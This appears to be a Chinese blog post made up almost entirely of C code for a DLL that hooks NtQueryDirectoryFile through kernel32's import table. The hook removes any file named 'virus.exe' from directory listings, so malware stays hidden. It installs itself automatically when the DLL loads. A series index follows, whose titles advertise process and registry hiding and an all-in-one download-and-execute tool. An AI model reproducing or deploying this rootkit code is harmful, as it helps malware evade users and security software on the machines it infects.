请见代码分析,
~~~
#include <windows.h>
#include <WinNT.h>
//从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
//参数类型
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//字符串类型
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//枚举类型,主要利用FileBothDirectoryInformation
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef VOID (NTAPI *PIO_APC_ROUTINE)(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;
typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
//原始ZwQueryDirectoryFile地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
//////////////////////////////////////////////////////////////////////////
//替换原有函数
//////////////////////////////////////////////////////////////////////////
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
//先调用原有函数
LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if (!NT_SUCCESS(rret))
{
return rret;
}
//只取了 FileBothDirectoryInformation这种可能性
if (FileInformationClass==FileBothDirectoryInformation)
{
PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
//测试的C:\\下的virus.exe的隐藏
WCHAR VIRUS[] = L"virus.exe";
BOOLEAN flag;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
pLastFileInfo = NULL;
do
{
flag = !( pFileInfo->NextEntryOffset );
//宽字符比较,暂用WCSSTR
if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
{
if(flag)
{
pLastFileInfo->NextEntryOffset = 0;
break;
}
else
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!flag);
}
return rret;
}
//////////////////////////////////////////////////////////////////////////
//Hook Function
//////////////////////////////////////////////////////////////////////////
BOOL HookQueryFile(BOOL flag)
{
//确定Kernel32.dll的基地址
HMODULE hModule = LoadLibrary("kernel32.dll");
if (hModule==NULL)
{
return FALSE;
}
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
{
return FALSE;
}
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
{
return FALSE;
}
if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL ||
pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
{
return FALSE;
}
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
PIMAGE_THUNK_DATA ThunkData;
while (ImportDescriptor->FirstThunk)
{
char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
//遍历寻找Kernel32中加载的ntdll.dll
if (stricmp(szDll,"ntdll.dll")!=NULL)
{
ImportDescriptor++;
continue;
}
ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);
int num = 1;
while (ThunkData->u1.Function)
{
char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
{
PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
if (flag)
{
//Hook
ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);
}
else
{
//UnHook
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);
}
return TRUE;
}
num++;
ThunkData++;
}
ImportDescriptor++;
}
return FALSE;
}
BOOL APIENTRY DllMain( HANDLE hModule,DWORD dwReason,LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
//HOOK ZwQueryDirectroyFile
HookQueryFile(TRUE);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
//UnHook ZwQueryDirectoryFile
HookQueryFile(FALSE);
}
return TRUE;
}
~~~
- 前言
- Visual Studio 11开发指南(1) Visual Studio 11简介与新特性
- Visual Studio 11开发指南(2) Visual Studio 11放弃宏处理
- Visual Studio 11开发指南(3)Visual Studio 11开发SharePoint 2011程序
- Visual Studio 11开发指南(4)Visual Studio 11编程语言发展
- Visual Studio 11开发指南(5)Visual Studio 11 IDE增强
- Visual Studio 11开发指南(6)Visual Studio 11平台改进
- Visual Studio 11开发指南(7)NET 4.5的改善
- Visual Studio 11开发指南(8)Visual C++ 11新特色
- Visual Studio 11开发指南(9)Visual C++ 新功能体验
- Visual Studio 11开发指南(10)Visual C++11 IDE 新功能体验
- Visual Studio 11开发指南(11)Visual Studio 11调试游戏
- Visual Studio 11开发指南(12)Visual Studio 11可视化多核多线程编程的行为
- Visual Studio 11开发指南(13)C++11语言新特性
- Visual Studio 11开发指南(14)C++11---C++/ CX设计
- Visual Studio 11开发指南(15)C++11单元测试
- Visual Studio 11开发指南(16)C++11更新-多线程和异步操作管理
- Visual Studio 11开发指南(17)C++11更新- Lambda表达式
- Visual Studio 11开发指南(18)C++11更新-自动矢量器使用
- Visual Studio 11开发指南(19)C++11更新-并行模式库和代理库
- 在 C++ 中使用 PPL 进行异步编程
- 基于VisualStudio11开发Windows8的Metro sample讲解(1)MessageBox
- Visual C++ 11 中新的并发功能
- 基于Windows8与Visual Studio2012开发内核隐藏注册表
- 基于VC++2012在Windows8上实现文件隐藏
- 实现诺基亚 lumia Windows phone 的手机通话记录截取
- 最短代码实现windows8下的下载器-下载安装执行一体化
- 用Visual studio2012在Windows8上开发内核驱动监视线程创建
- 用Visual studio2012在Windows8上开发内核驱动监视进程创建
- 基于Windows8与Visual Studio2012实现杀毒通用模块
- 用Visual studio2012在Windows8上开发内核中隐藏进程
- 用Visual studio11在Windows8上开发内核枚举注册表
- 用Visual studio11在Windows8上开发内核驱动隐藏注册表
- 用Visual studio11在Windows8上开发驱动实现注册表监控和过滤
- 用Visual studio11在Windows8上开发驱动实现内存填0杀进程
- 【CSDN2012年度博客之星】喜欢本博客的读者,投票赠送《visual C++2010开发权威指南》电子稿--感谢支持 ~(截至到2012年12月30日)
- 今天在清华图书馆看到我的杰作,感慨万千,而我要归零一切 !
- use Visual studio2012 developing kernel driver monitor thread creation on Windows8
- To kernel driver monitoring process developed in Windows8 create using Visual studio2012
- Under Windows8 kernel mode development NDIS application-NDIS Filter explain
- use Visual studio2012 development kernel to hidden process on Windows8